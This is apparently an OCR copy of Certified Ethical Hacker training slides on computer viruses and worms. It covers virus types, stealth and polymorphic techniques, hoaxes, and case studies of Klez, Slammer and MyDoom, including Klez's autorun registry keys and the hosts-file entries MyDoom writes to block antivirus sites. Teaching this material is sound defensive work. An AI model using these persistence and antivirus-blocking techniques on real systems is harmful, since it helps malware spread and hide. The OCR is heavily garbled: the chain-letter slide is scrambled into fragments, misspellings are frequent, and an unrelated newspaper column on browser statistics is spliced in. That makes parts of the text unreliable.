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FBI Warns of Valentine's Day E-Mail Virus

Thursilay , February 14, 2008
FOX NEWS

Ha YWalentine's Dayl Youlve got a computer virus!
PRY ¥ d i ADWERTISEMEMT

IT managers around the world braced themselves

Thursday for an expected anslaught of romantic S I X D E G R E ES
"m-cards" surreptitionsly carning the nastiestvirus COULD CHAMGE THE WORLD
around: the Storrm Worm.

"Once the user clicks on the [e-mail] link, malware is
downloaded to the Internet-connected device and
causes itto hecome infected and part of the Starm
Worm botnet” warns a public alert posted on the
FBl's Wieh site Monday.

$ ROLLOVERTO oy DEGREES

= Click here to visit FOxMews.com's Cybersecurity
Center.

"The Starm Worm virus has capitalized on various
holidays in the lastyear by sending millions of NOW AVAILABLE
e-rnails advertising an e-card link within the text of IN HD ON DEMAND
the spam e-mail," says the FBIL “Walentine's Day has

heen identified as the next target”

Hawven't heard of the Storm Worm? That's hecause it hasn't "struck” vet, even though researchers first noticed it
mare than a year ago after it cropped up in e-mails showing photos of damaoge from European windstarms in
January 2007,

Since then, it's steadily infected an estimated 10 million Windows-based PCs around the warld, all under the
command of unknown "hot herders" who'e silently fashioned therm into a "zombie ary” or "hotnet' — a Source: http://www.foxnews.com
massive netwark of"enslaved" PCs awaiting the signal to launch a cyherattack.
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C EH Scenario
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Ricky, a software professional with a
reputed organization, received a mail
which seemed to have come from some
charitable organization. The mail was
having a .ppt attachment with name
“demo of our charity work”. Just
before leaving for his home he
downloaded and played the attached
presentation. The presentation
consisted of images of poor people
being served.

What could be the dangers of opening an attachment from
unknown source?

What could be the losses if attachment that Ricky opened
had viruses or worms?
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C EH Module Objective
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—{ This module will familiarize you with :

Sy

 Virus

e History of Virus

 Different characteristics and types of virus
e Basic symptoms of virus-like attack
 Difference between Virus and Worm
 Virus Hoaxes

 Indications of virus attacks

 Basic working and access methods of virus
 Various damages caused by virus

* Life cycle of virus

 Virus Infection

 Various virus detection techniques

e Top ten virus of 2005

 Virus incident response
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C EH Module Flow
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Virus

Access methods of virus

Life cycle of virus

Virus incident response

EC-Council

-«

Characteristics and
Types of virus

Indications of Virus Attack < Virus Hoaxes

Virus Infection

Anti-Virus Software

— Symptoms of Virus attack

— Writing a sample Virus code —

<«Virus Detection and Defenses*
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C E H Introduction to Virus
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Computer viruses are perceived as a threat to both business and personnel

Virus is a self-replicating program that produces its own code by attaching copies of
itself into other executable codes

Operates without the knowledge or desire of the computer user
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CIEH Vvirus History
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Year of Virus Name
Discovery

1981 Apple Il Virus- First Virus in the wild

1983 First Documented Virus

1986 Brain, PC-Write Trojan, & Virdem

1989 AIDS Trojan

1995 Concept

1998 Strange Brew & Back Orifice

1999 Melissa, Corner, Tristate, & Bubbleboy

2003 Slammer, Sobig, Lovgate, Fizzer, Blaster/Welchia/Mimail
2004 I-Worm.NetSky.r, I-Worm.Baqgle.au

2005 Email-Worm.Win32.Zafi.d, Net-Worm.Win32.Mytob.t
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C E H Characteristics of a Virus
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Virus resides in the memory and replicates itself while the
program where it is attached is running

It does not reside in the memory after the execution of the
program

It can transform themselves by changing codes to appear
different

It hides itself from detection by three W
ways:

It encrypts itself into the cryptic symbols

|t alters the disk directory data to compensate the
additional virus bytes

* It uses stealth algorithms to redirect disk data
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C EH Working of Virus
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Trigger events and direct attack are the common modes which cause a virus to “go off” on a
target system

Most viruses operate in two phases:

{ Infection Phase: }

* Virus developers decide when to infect the host system’s programs
» Some infect each time they are run and executed completely
 Ex: Direct Viruses
» Some virus codes infect only when users trigger them which include a
day, time, or a particular event
» Ex: TSR viruses which get loaded into memory and infect at later
stages

Attack Phase: }

-

» Some viruses have trigger events to activate and corrupt systems

» Some viruses have bugs that replicate and perform activities like file
deletion and increasing the session time

e They corrupt the targets only after spreading completely as intended by
their developers
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c EH Working of Virus: Infection
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Attaching .EXE File to Infect the Programs

Before After
Infection Infection
. EXE File . EXE File
File Header File Header
, Startof , oStartof
Program Program
End of End of Program
Program
Virus Jump <
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C E H Working of Virus: Attack Phase
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Slowdown of PC due to Fragmented Files

Unfragmented File Before Attack

File: A

File: B

Page: 1

Page: 2

Page: 3

Page: 1

Page: 2

Page: 3

File Fragmentation Due to Virus Attack

Page: 1 |Page:3 |Page:1 |Page:3 |Page:2 Page: 2
File: A File: B File: B File: A File: B File: A
EC-Council

Source: www.microsoft.com
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c E H Why People Create Computer
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Virus writers can have various reasons for creating and
spreading malware

Viruses have been written as:

e Research projects

e Pranks

e Vandalism

e To attack the products of specific companies
e To distribute the political messages

e Financial gain

 ldentity theft

e Spyware

e Cryptoviral extortion
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C E H Symptoms of Virus-Like Attack
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If the system acts in an unprecedented manner, you can suspect a virus attack

« Example: Processes take more resources and are time consuming
However, not all glitches can be attributed to virus attacks

e Examples include:
e Certain hardware problems
* If computer beeps with no display
« If one out of two anti-virus programs report virus on the system
« If the label of the hard drive change
* Your computer freezes frequently or encounters errors
 Your computer slows down when programs are started
* You are unable to load the operating system
* Files and folders are suddenly missing or their content changes
 Your hard drive is accessed often (the light on your main unit flashes rapidly)
» Microsoft Internet Explorer "freezes"
* Your friends mention that they have received messages from you but you never sent such messages
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C EH vVirus Hoaxes

Certified = Ethical Hacker

Hoaxes are false alarms claiming reports about a non-existing
virus

Warning messages propagating that a certain email message
should not be viewed and doing so will damage one’s system

In some cases, these warning messages themselves contain
virus attachments

They possess capability of vast destruction on target systems

Being largely misunderstood, viruses easily generate myths.
Most hoaxes, while deliberately posted, die a quick death
because of their outrageous content

EC-Council

VIRUS

¢ WARNINGS
8

DO NOT ENTER
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C EH vVirus Hoaxes (cont'd)
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Liy

ubject: [Fwd: Beware of the Budweiser wvirus--really!]

Thiz information came from Microsoft yesterday morning. Please pass it on to anvone you know who has

accesz o the Internet. You may receive an apparently harmless Budweiser Screensaver, If you do, DO HNOT
CPEN IT UNDER ANY CIRCIMSTAMNCES, but delete it immediately. Once opened, yvou will lose EVERYTHING on wvour

PC. Your hard disk will be completely destroyved and the person who Zent vou the message will have access
Lo vour name and password via the Internet.

L=z far as we know, the wirus was circulated yesterday morning. It's a new wvirus, and extremely dangerous.
r thi=z information and e-mail it to everyone in your address book. We need to do all we can to

Flease copy
block hi viru ACL has confirmed how dangerous it i=s, and there i=s no Antiwvirus program as yet which is

capakble of destroving it.

Flease take all the necesszary precautions, and pass thisz information on to yvour friends, acguaintances
and work colleagues.

End of message.
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C EH Chain Letters
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VIRUS WARNING

A new Viras -

"HOW

Very
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ill arrive on e-mail titled
have annouanced that it is

There i=s no remedy. It will eat
and also destroys Netscape HNavigator and

Do not open any

hing with thi=s title and
all your contacts and anyone who uses yo

people seem to know about this yet so pr

Thiz information was announced yesterday

Plea=se =share
spreading of
and there i=

in your ad

stopped.
at thi

measures and forward this to all your on

(Government & Defense)

Cain BRoad

Tel: 01344
Fax: 01344
E-mail: ro

END CHATIN LETTER

Time.

information on the hard drive
Microzoft Internet Explorer.

please pass this message on t

0

ur e-mail facility. Hot many

opagate it as fast as possikble.

dres=s book so that the

Virus=s
Plea=ze practice cautionary
line friend=s L.5.4L.F.

hiz iz a wvery dangerous

o mmwm

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited




™

CEH worms
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Worms are distinguished from viruses by the fact that a virus requires some
form of the human intervention to infect a computer whereas a worm does not
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c E H How Is a Worm different from a
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There is a difference between general viruses
and worms

A worm is a special type of virus that can
replicate itself and use memory, but cannot
attach itself to other programs

A worm spreads through the infected network
automatically but a virus does not

EC-Council
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C E H Indications of Virus Attack
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Indications of a virus attack:

Programs take longer to load than normal

Computer's hard drive constantly runs out of free space
Files have strange names which are not recognizable
Programs act erratically

Resources are used up easily
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c EH Hardware Threats
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Power Faults:
« Sudden power failure, voltage spikes, brownout and frequency shifts cause damage to system
System Life:
 System gets worn-out over a period of time
Equipment Incompatibilities:

» These occur due to improperly installed devices

Typos:
 Data gets corrupted due to deletion or replacement of wrong files

Accidental or Malicious Damage:
» Data gets deleted or changed accidentally or intentionally by other person

Problems with Magnets:

» Magnetic fields due to floppy disk, monitor, and telephone can damage stored data
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c EH Software Threats
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Software Problems:

e In multitasking environment, software conflicts may occur due to sharing of data by all
running programs at the same time

* There may be damage of information due to misplacement of data in a program

Software Attacks:

 Intentionally launched malicious programs enable the attacker to use the computer in
an unauthorized manner
e General Categories:
* Viruses and worms
 Logic bombs
e Trojans
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C EH Virus Damage
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Virus damage can be grouped broadly under:

Technical Attributes:

» The technicalities involved in the modeling and use of virus causes damage due to:

« Lack of control

« Difficulty in distinguishing the nature of attack
 Draining of resources

* Presence of bugs

» Compatibility problems

Ethical and Legal Reasons:

» There are ethics and legalities that rule why virus and worms are damaging

Psychological Reasons: These are:

e Trust Problems
* Negative influence
e Unauthorized data modification
* Issue of Copyright
e Misuse of the virus
» Misguidance by virus writers

EC-Council
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C E H Modes of Virus Infection
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Viruses infect the system in the
following ways:

e Loads itself into memory and checks for
executables on the disk

» Appends the malicious code to a legitimate
program unbeknownst to the user

 Since the user is unaware of the replacement,
he/she launches the infected program

e As a result of the infected program being executes,
other programs get infected as well

* The above cycle continues until the user realizes
the anomaly within the system
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CIEH Stagesof Virus Life
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Computer virus involves various stages right from its design to elimination

Design

Developing virus code using programming
languages or construction Kits

EC-Council

] i Virus first replicates for a long period of time within the
Replication target system and then spreads itself

It gets activated with user performing certain actions
Launch

like triggering or running a infected program

4,[ Detection ]_, A virus is identified as threat
infecting target systems

Incorporation ]—> Anti-virus software developers assimilate
defenses against the virus

4,[ Elimination ]—> Users are advised to install anti-virus
software updates thus creating

awareness among user groups
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Types of Viruses
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C EH Virus Classification
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4 )

Viruses are classified based on the
following criteria:

. J

What they Infect

How they Infect
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C EH Virus Classification (cont'd)
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System Sector or Boot Virus:

e |Infects disk boot sectors and records

File Virus:

 Infects executables in OS file system

Macro Virus:

 Infects documents, spreadsheets and databases such as word, excel and access

Source Code Virus:

» Overwrites or appends host code by adding Trojan code in it

Network Virus:

e Spreads itself via email by using command and protocols of computer network
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C E H How does a Virus Infect
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— Stealth Virus:

e Can hide from anti-virus programs

— Polymorphic Virus:

e Can change their characteristics with each infection

— Cavity Virus:

* Maintains same file size while infecting

— Tunneling Virus:

* They hide themselves under anti-virus while infecting

— Camouflage Virus:

» Disguise themselves as genuine applications of user

EC-Council
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C E H Storage Patterns of a Virus
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Shell Virus:

 Virus code forms a shell around target host program’s code, making itself the original
program and host code as its sub-routine

Add-on Virus:

» Appends its code at the beginning of host code without making any changes to the latter
one

Intrusive Virus:
« Overwrites the host code partly, or completely with viral code

Direct or Transient Virus:

e Transfers all the controls to host code where it resides
» Selects the target program to be modified and corrupts it

Terminate and Stay Resident Virus (TSR):

* Remains permanently in the memory during the entire work session even after the
target host program is executed and terminated
e Can be removed only by rebooting the system
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c E H System Sector Viruses
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System sectors are special areas on your disk
containing programs that are executed when you
boot (start) your PC

System sectors (Master Boot Record and DOS
Boot Record) are often targets for viruses

These boot viruses use all of the common viral
techniques to infect and hide themselves

Copyright © by EC-Council
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They rely on infected floppy disk left in the drive
when the computer starts, they can also be
"dropped" by some file infectors or Trojans




C EH Stealth Virus
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These viruses evade anti-virus software by intercepting its requests to the operating system

A virus can hide itself by intercepting the anti-virus software’s request to read the file and
passing the request to the virus, instead of the OS

The virus can then return an uninfected version of the file to the anti-virus software, so that
it appears as if the file is "clean"

System Status: OK

Security Scanning Features

. Infected TCPIP.SYS

Give me the system
file tcpip.sys to scan

¥ Full System Scan 41222004 >

Norton AntiVirus Subscription

" Virus Definitions 412172004

¥ Renewal Date 412312005

..... & Aummammeupdateon Here you go
Original TCPIP.SYS
ANTI-VIRUS SOFTWARE
] Copyright © by EC-Council
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C E H Bootable CD-ROM Virus
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These are a new type of virus that destroys the hard disk data content when booted with the
infected CD-ROM

Example: Someone might give you a LINUX BOOTABLE CD-ROM

When you boot the computer using the CD-ROM, all your data is gone

No Anti-virus can stop this because AV software or the OS is not even loaded when you
boot from a CD-ROM

Boot your computer using . A :
infected Virus CD-ROM Your C: drive data is destroyed
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c EH Self-Modification
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scanning them for virus signatures

difficult or impossible

variant of the virus)

A 4

Explorer.exe

EC-Council

Most modern antivirus programs try to find virus-patterns inside ordinary programs by

A signature is a characteristic byte-pattern that is part of a certain virus or family of viruses

Self-modification viruses employ techniques that make detection by means of signatures

These viruses modify their code on each infection (each infected file contains a different

sales.jpg Purchase.pdf
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C E H Encryption with a Variable Key
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This type of virus use
simple encryption to
encipher the code

The virus is encrypted
with a different key for
each infected file

AV scanner cannot
directly detect these
types of viruses using
signature detection
methods

Virus.exe

EC-Council

v

Virus.exe (encrypted)
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c EH Polymorphic Code

Certified = Ethical Hacker

A well-written polymorphic virus therefore has no parts that stay the same on each

infection

To enable polymorphic code, the virus has to have a polymorphic engine (also called
mutating engine or mutation engine)

Polymorphic code is a code that mutates while keeping the original algorithm intact

Original program

1. Count= #irusBytes +—7— Wirus Decryption Routine

r. Temp=FetchMextByte

Virus code Original part | 3 Temp=DecryptTemm <——— Encypted Virus Body
4. StoreMextByteTemm
5. Decrerment Count

Virus code Original program i, If Count=s, G OTO 2

‘ Original program

1. Search for an EXE file

| Virus code & Change the attributes. .

\ 4 TUMP

9. Open the file. ..

f

EC-Council

JUMP
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C EH Metamorphic Virus
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Metamorphic viruses rewrite themselves completely each time they are to infect new
executables

Metamorphic code is a code that can reprogram itself by translating its own code into a
temporary representation, and then back to normal code again

For example, W32/Simile consisted of over 14000 lines of assembly code, 90% of it is part
of the metamorphic engine

MetaphoR V1 by tHE meNTAL Dirlller/29a deutsChE TelekOM®@bY®@EnERGY RPP2@=g= .

MetaphoR V1 by tHE meNTAL Dilller/29a deutsChE TelekOM@bY@ERERGY APP2@" g™

a.) Variant A c.) The “Unofficial” Variant C

WEWAPHOR Th BY o MeNTAI 0l ER/25 3

mEPHOR 1b BY tHe MeNTA| dilLER /234 mETAPhOr 1C bY tHE mENtal dRlllzr/234

b.) Variant B d.) The .D variant (which was the
_ “official” C of the original author) Copyright © by EC-Council
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C EH Cavity Virus
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Cavity Virus overwrites a part of the host file that is filled with a constant
(usually nulls), without increasing the length of the file, but preserving its
functionality

Null Null Null Null Null

Sales & Marketing Management is the “3” Nﬂ” m” m‘d” “3”

leading authority for executives in the Null Nall Nall Null Null

sales and marketing management Null Null Null Null Null

industries. The suspect, Desmond Null Null Null Null Null

Turner, surrendered to authorities at Null Null Null Null Null

a downtown Indianapolis fast-food Null Null Null Null Null
Null Null Null

mh- InfectedFile Size: 45 KB m -

. A
ﬁ;e_ Original File Size: 45 KB _Adobe

) Copyright © by EC-Council
EC-Council All Rights Reserved. Reproduction is Strictly Prohibited




C EH Sparse Infector Virus
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Sparse infector virus infects only
occasionally (e.g. every tenth
program executed), or only files
whose lengths fall within a narrow
range

By infecting less often, such viruses
try to minimize the probability of
being discovered

Wake up on 15t of every
month and execute code
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C EH Companion Virus

Certified = Ethical Hacker

A Companion virus creates a companion file for each executable file the virus
infects

Therefore a companion virus may save itself as notepad.com and every time a
user executes notepad.exe (good program), the computer will load notepad.com
(virus) and therefore infect the system

> Notepad.exe > Notepad.com
f o a9
£ .
Virus infects the system with notepad.exe %

a file notepad.com and saves
it in c:\winnt\system32

director :
) y Copyright © by EC-Council
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C E H File Extension Virus
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File extension viruses change the extensions of Genersl View | File Types |
files Folder views
You can apply the view (such as Details or Tiles) that
,l‘_'_L] you are using for this folder to all folders.
) . : ) - Apphy to All Folders Feset Al Folders
.TXT Is safe as it indicates a pure text file
Advanced settings:
With extensions turned off if someone sends you a 3 Folders J , A
- - wl Automatically search ror network rolders and pnnters
file named BAD.TXT.VBS you will only see Display fie size fomation in foldertins
BAD.TXT E=9:.: simpls folder view E:?35fs Folders lis
If you've forgotten that extensions are actually iy the ful pat in e daress bar e
turned off, you might think this is a text file and [ Do net cache thumbnails
open it (3) Hidden files and folders
p {3 Do not show hidden files and folders
'E',.r Ty T = -l Rl =]
This is really an executable Visual Basic Script L fide sxtensions for known fie tyoes =
virus file and could do serious damage ——
QK Cancel |

Countermeasure is to turn off “Hide file
extensions” in Windows
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Famous Viruses and
Worms
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c E H Famous Viruses /Worms: | Love You

VIrus
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& ILOYEYOU - Messzage [Plain Text] H=] E
File Edit WYiew Insert Format Tools Actions Help
Gy Reply | €RReply to Al | W Forward | S L ["‘j W e -~ @
o
oy emevesia paetsener =S UCEHDIRE 65 Love Letter is a Win32-based email
ce: worm. It overwrites certain files on the
SLbi=ds ILOHENCY hard drives and sends itself out to

| ]

kindly check the attached LOVELETTER coming from me.

everyone in the Microsoft Outlook
address book

=
= j Love Letter arrives as an email
Eer attachment named: LOVE-LETTER-
(10KE] ~I|  FORYOU. TXT.VBS though new variants
have different names including

The virus discussed here are more of a proof VeryFunny.vbs, virus_warning.jpg.vbs,
of concept, as they have been instrumental and protect.vbs
Iin the evolution of both virus and anti-virus
programs

Classic tool presented here for proof of concept
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C EH Melissa Virus

Certified = Ethical Hacker

Melissa is a Microsoft Word macro virus. Through macros, the virus
alters the Microsoft Outlook email program so that the virus gets sent
to the first 50 people in the address book

It does not corrupt any data on the hard drive or crashes the
computer. However, it affects MS Word settings

Melissa arrives as an email attachment. The subject of the message
containing the virus reads: "Important message from" followed by
the name of the person whose email account it was sent from

The body of the message reads: Here's the document you asked
for...don't show anyone else ;-) Double-clicking the attached Word
document (typically named LIST.DOC) will infect the machine

Classic tool presented here for proof of concept
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C E H Melissa Virus — Case
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The Web ilered by humans, nod bols; News com Edra SCAmDj | HULAlLL

Melissa's long gene, but lessens remain

n!- Sl T
! ‘wies, GRET Hasd oo

L#, TalliBeack E-mail | L@ Print | &8 TrackBack

S ik Tridn Gekiieheliod: b HRes S0
ft*s bieen s years since the Mellssa macrovires first got Innsa, T reckEass Fngiacks)

SECUTTY exerts say fetwork adminisirators and PC owners siill have

less o (o leanm o il

Thevirug gtarled spreading on Wanch 26, 19949, and iravaled guickly aenss
thés Eilemiel, using e rdcro urclions o Micneol Wand b Buriey inla thi
compuders of welimes whd apanind the documend WEnin three days,
hundreds offhousands of PCs ware infaciad

*Wekssa was the second suctessil a-mall warm, b itwas the one that

reslly caughl attantion,” sald Richard Srith, am Inkemned sacurnity and privacy

consultand who dezoovenad cues in Melisaa thal pointed 0 the author ofthe Todas In Misicon

codi. Il showed B @-rmail could be used % quicky spread 4 vins acrass = EXTRA

the Irvlemigl”
) ifighaie i profil s leohnod gy, s Ay enbungs i

amalwwr Bach suppord

While macra viuges pose life theat W
b s el edm e el e e s : - - H.."'"'j "I "h:ﬂi II .
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C EH ramous Virus/Worms — JS.Spth

Certified = Ethical Hacker

JavaScript Internet worm
Propagates via email, ICQ and P2P networks
Kit-Spth is used to produce JS/SPTH worm

Infection Strategies:

Ms-OutLook virc
Morpheus Kazaa
Grokster Kazaa-Lite
Mirc Bear Share
plrc symLink
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C EH Klez Vvirus Analysis - 1
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Klez virus arrives as an email attachment that automatically
runs when viewed or previewed in Microsoft Outlook or
Outlook Express

It is a memory-resident mass-mailing worm that uses its
own SMTP engine to propagate via email

Its email messages arrive with randomly selected subjects

It spoofs its email messages so that they appear to have
been sent by certain email accounts, including accounts that
are not infected

Copyright © by EC-Council
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c EH Kilez Virus Analysis - News
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EC-Council

Klez virus hikes infection
rate to one in 348 emails

ome news on the e-mail
virus front. Messagelabs,
the leading anti-virus ser-
vice provider, reports that e-
mail infection rates are running
at ane in 348 emails (01/02/02). Tt
was around one in 200 last
month. The increase is down to
the Klez virus
This is minor compared with
the 1 in 30 infected e-mails last
December at the peak of the
Goner virus.
www. messagelabs, com

A The browser wars of the 90s
are over with Microsoft’s
Internet Explorer almost com-
pletely replacing Netscape navi-
gator as the browser of choice.

The most recent statistics show
that the wvarious versions of
Internet Explorer have over 90
per cent of the market, with
MNetscape Navigator under 10 per
cent.

Another interesting statistic
from the same source is that 34
per cent of users still display in
the old 800 x 600 SVGA display
standard. Only 34 per cent use a
resolution ol 1024 or higher Web
designers take note. Hang vour
heads in shame if you insist on
designing for 1024 resolution and
above, thereby alienating more

Web Snippets

_. ' Charles
~  Douthwaite

A selection of facts and statistics from

far flung corners of the internet.

than hall your potential user base.
htep:/Swwow, thecounter.comy

A The top three websites during
2001 were the MSN/Microsoft
family, AOL and Yahoo.
Surprisingly enough, Amazon
came in at a lowly Number 9.
H—'H—'H—'.jil'!ﬂi SOOI

7 Email has finally overtaken
post in the UK. Five hundred and
fifty million emails were sent
and received in January, com-
pared with 238 million letters
handled via Royal Mail in the
same period.

uk. netvalue, com

7 While the advertising market
fell 3.4 per cent overall last year
in the UK, the amount spent on
online advertising surged 28 per
cent to §174 million.

www. forrester.com

A According to Nielsen
Netratings, the average internet
user spent 10 hours 14 minutes
online during March, visited 47
sites and spent 32 minutes on
each surfing session.
htip:Awwwonielsen-netratings, com.
{The writer is managing director of
Island Web Works, & Douglas based
weh design and internet solutions com-
pany. www.island-webworks_net)
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c EH Klez Virus Analysis - 2
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Klez Virus arrives via E-Mail

Subject: W32E KLEX VIRUS

Attach. .. £ aNTIKLEZ. 7IP )=l Attachment Options. ..

e
Klez E iz the most common world-wide spreading worm. It's very dangerous
bv corrupting vour files.

Because of s very smart stealth and anti-anti-virus technic, most commmon
AV software can't detect or clean it

We developed this free immunity tool to defeat the malicious virus.

Y ou only need to run this tool once, and then Klez will never come into vour

PC.

NOTE: Because this tool acts as a fake Klez to fool the real worm, some AV
monitor mavbe crv when vou run it.
If so, [gnore the waming, and select 'continue’. =

- . . F
If vou have any question, please mail to me] 5
¥

=[slE = b 4| vl 2
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C EH Klez Vvirus Analysis - 3
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Rebecca double clicks the attached executable in the email

Upon execution, this worm drops a copy of itself as WINK*.EXE in the Windows System
folder

* (Where * is a randomly generated variable length string composed of alphabetical characters. For
example, it may drop the copy as WINKABC.EXE)

—J

Rebecca Rebecca’s machine is infected
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C EH Klez Vvirus Analysis - 4
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Autorun Techniques

» This worm creates the following registry entry so that it executes at every Windows
startup:

e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run
Winkabc

It registers itself as a process so that it is invisible on the Windows Taskbar

On Windows 2000 and XP, it sets itself as a service by creating the following
registry entry:

« HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services Winkabc

) Copyright © by EC-Council
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C EH Klez Vvirus Analysis - 5
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Payload

« Once the victim’s computer is infected, the Klez virus starts propagating itself to other
users through Microsoft Outlook contact list

JohnN@XxXxXxXxxxxx.com >

peter@XXXXXXXX.com

v

raven @XxxXxXxXXxxx.com

v

ravi@XxXxXxXxXxXxXxx.com

matthew@xXxXxXxXxXxxx.co
m

v

JaMES@XXXXXXXX.COM

jacoh @XXXXXXXX.Com

karen @xxxxxxxx.com
) Kasen @ xXxxxxxxx.com
Klez Virus 2

bondy@XxxXxXxxxxx.com

v

v

e e e e e

v
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c E H Zombies and DoS
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A worm targeting SQL Server computers is a self-
propagating malicious code that exploits the
vulnerability allowing for the execution of the
arbitrary code on the SQL Server computer due to
a stack buffer overflow

EC-Council

The worm crafts packets of 376 bytes and sends
them to the randomly chosen IP addresses on

port 1434/udp. If the packet is sent to a
vulnerable machine, this victim machine will
become infected and begin to propagate

Compromise by the worm confirms a system is

the arbitrary code as the local SYSTEM

Presented for proof of concept

vulnerable to allow a remote attacker to execute

user
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c EH Spread of Slammer Worm — 30

Certified = Ethical Hacker I I In

The Slammer worm (also known as the
Sapphire worm) was the fastest worm in
history—it doubled in size every 8.5
seconds at its peak

From the time it began to infect hosts
(around 05:30 UTC) on Saturday, Jan.
25, 2003, it managed to infect more than

90 percent of the vulnerable hosts within Y o Y ‘,f.
10 minutes using a well-known ; .0 ) _
vulnerability in Microsoft's SQL Server . ¢ " ¢

0 y ' " 3
Slammer eventually infected more than
75,000 hosts, flooded networks across S 33 % 39 A1 us 48 LS S 6
the world, caused disruptions to 5 i

financial institutions, ATMSs, and even an
election in Canada

Presented for proof of concept |
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CEH MmyDoom.B

Certified = Ethical Hacker

MYDOOM.B variant is a mass-mailing worm

On P2P networks, W32/MyDoom.B may appear as a file named {attackXP-1.26,
Blacklce_ Firewall Enterpriseactivation_ crack, MS04-01 hotfix, NessusScan_ pro,
icq2004-final, winamp5, xsharez_scanner, zapSetup_40_ 148} .{exe, scr, pif, bat}

It can perform DoS against www.sco.com and www.microsoft.com

It has a backdoor component and opens port 1080 to allow remote access to infected
machines. It may also use ports 3128, 80, 8080, and 10080

It runs on Windows 95, 98, ME, NT, 2000, and XP

Presented for proof of concept |
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CEH MyDoom.B (contd)
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®  The virus overwrites the host file (%windir%\system32\drivers\etc\hosts on Windows
NT/2000/XP, %windir%\hosts on Windows 95/98/ME) to prevent DNS resolution for a
number of sites, including several antivirus vendors effecting a Denial of Service.

® 127.0.0.1 localhost localhost.localdomain local lo
0.0.0.0 0.0.0.0

0.0.0.0 engine.awaps.net awaps.net www.awaps.net ad.doubleclick.net

0.0.0.0 spd.atdmt.com atdmt.com click.atdmt.com clicks.atdmt.com

0.0.0.0 media.fastclick.net fastclick.net www.fastclick.net ad.fastclick.net

0.0.0.0 ads.fastclick.net banner.fastclick.net banners.fastclick.net

0.0.0.0 www.sophos.com sophos.com ftp.sophos.com f-secure.com www.f-secure.com
0.0.0.0 ftp.f-secure.com securityresponse.symantec.com

0.0.0.0 Www.Ssymantec.com symantec.com servicel.symantec.com

0.0.0.0 liveupdate.symantec.com update.symantec.com updates.symantec.com
0.0.0.0 support.microsoft.com downloads.microsoft.com

0.0.0.0 download.microsoft.com windowsupdate.microsoft.com

0.0.0.0 office.microsoft.com msdn.microsoft.com go.microsoft.com

0.0.0.0 nai.com www.nai.com vil.nai.com secure.nai.com www.networkassociates.com
0.0.0.0 networkassociates.com avp.ru www.avp.ru www.kaspersky.ru

0.0.0.0 www.viruslist.ru viruslist.ru avp.ch www.avp.ch www.avp.com

0.0.0.0 avp.com us.mcafee.com mcafee.com www.mcafee.com dispatch.mcafee.com
0.0.0.0 download.mcafee.com mast.mcafee.com www.trendmicro.com

0.0.0.0 www3.ca.com ca.com www.ca.com Www.my-etrust.com

0.0.0.0 my-etrust.com ar.atwola.com phx.corporate-ir.net

0.0.0.0 www.microsoft.com

® On February 3, 2004, W32/MyDoom.B removed the entry for www.microsoft.com.

_ Presented for proof of concept Copyright © by EC-Council
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MyDoom.B

'; Symantec Security Response - W32 Mydoom.A@mm - Microsoft Internet Explorer

File  Edit Wiew  Faworites

Toaols  Help

== ]

HBack » = - ) 3] 4% | Qisearch [ Favorites £4 | B S W -E O

Address I.«g] http:ffsecurityresponse, symantec, com/ avcenter fvencfdatalw32 . mydoom, a@mrm, bkl

x| e |Links =
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search
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SPECIAL OFFER!
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Norton Password
Manager

iieret Sty | Fovseend s

aj&

with Norton
Internet Security
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-

click here

@ 1995-2005 Symantec
Corporation.

W32.Mydoom. Ag@mm

D¥scoveed o Jeruay 26, 20049
Last Updated o duly 27, 2004 §1:53:3F A0

:_,- print document

recommendations

technical details

threat assessment

Due to a decreased rate of submissions, Symantec Security
Response has downgraded this threat from a Category 3to a
Category 2 rating as of March 30, 2004.

W32 Mydoom AGmm (also known as W32 Novarg.A) is a mass-
rnailing warmm that arrives as an attachment with the file
extension bat, cmd, .exe, pif, scr, or zip.

Wyhen a computer is infected, the waorm sets up a backdoor into the
systern by opening TGP ports 3127 through 31338, which can
potentially allow an attacker to connect to the computer and use it
as a proxy to gain access to its network resources.

In addition, the backdoor can download and execute arbitrary files,

There is a 25% chance that a computer infected by the warrm will
perfarm a Denial of Service (DoS) on February 1, 2004 starting at
16:09:18 UTC, which is also the same as 08:02:18 PST, based on
the machine's local systermn dateftime. If the worm does start the
DaoZ attack, it will not mass mail itself. It also has a trigger date to
stop spreading/DoS-attacking on February 12, 2004, While the
wortn will stop on February 12, 2004, the backdoor component will
continue to function after this date.

removal instructions

ZJ

[ )
Presented for proof of concept

To fix

this problem,
get the
removal tool.

&
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C E H SCO Against MyDoom Worm
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SCO Provides Alternate Company Web Site Access And Unites With
Vendors to Combat Virus

5C0 to Provide Alternate Access to Company Web Site Through
www.thescogroup.com

LIMDOM, Utah, Feh 2, 2004 IPRMewswire-FirstCall via COMTERS -- The SC0O Group, [nc. (Masdadg:
S0, the owner of the LIME(RY operating system and a leading provider of UIMNEK-based
solutions, today announced it has put alternatives in place for individuals wanting to access its
company Web site. The company is asking customers, resellers, developers, shareholders and
all otherWeh site visitors to use wwaw thescogroup.com as the destination for the company's Weh
gite through the end of Feb. 12, 2004, The company is putting this alternative Weh address in
place because the recently announced Mydoom or Movarg virus creates an attack that is designed
to prevent access toww sco.com from Feb, 1-12, 2004

Source: http://ir.sco.com/
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|_atest Viruses

) Copyright © by EC-Council
EC-Council All Rights Reserved. Reproduction is Strictly Prohibited




c EH Latest Viruses
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W32/Vulgar:

e Overwriting virus with data destructive payload

» Attempts to open default web browser after execution, but
results in Internet Explorer crashing

W32/HLLP.zori.c@QM:

 Parasitic file infector and mailing worm

» Possesses backdoor functionality that allows unauthorized
remote access

W32/Feebs.gen@MM:

» Email worm type virus that configures itself to load at startup

e Spreads itself by email attachment and infects the system after
execution of attachment

Copyright © by EC-Council
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c E H Top 10 Viruses- 2008

Certified = Ethical Hacker

W32/Detnat

W32/Netsky

W32/Mytob

W32/Bagle

W32/MyWife

W32/Virut

W32/Zafi

W32/MyDoom

W32/Lovegate

W32/Bagz

EC-Council
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C EH Virus: Win32.AutoRun.ah
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The Trojan was identified by Kaspersky as
Virus.Win32.AutoRun.ah |‘ %\ ‘

The malware steals password information for several Chinese
online games, including World of Warcraft, and uploads the data
to a remote server

Virus.Win32.AutoRun.ah has also been known to disable
antivirus software and delete any pre-existing viruses

) Copyright © by EC-Council
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C EH Virus:W32/Virut
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Virut is a family of polymorphic
memory-resident appending file
infectors that have EPO (Entry Point
Obscuring) capabilities

Viruses belonging to this family
infect files with .EXE and .SCR
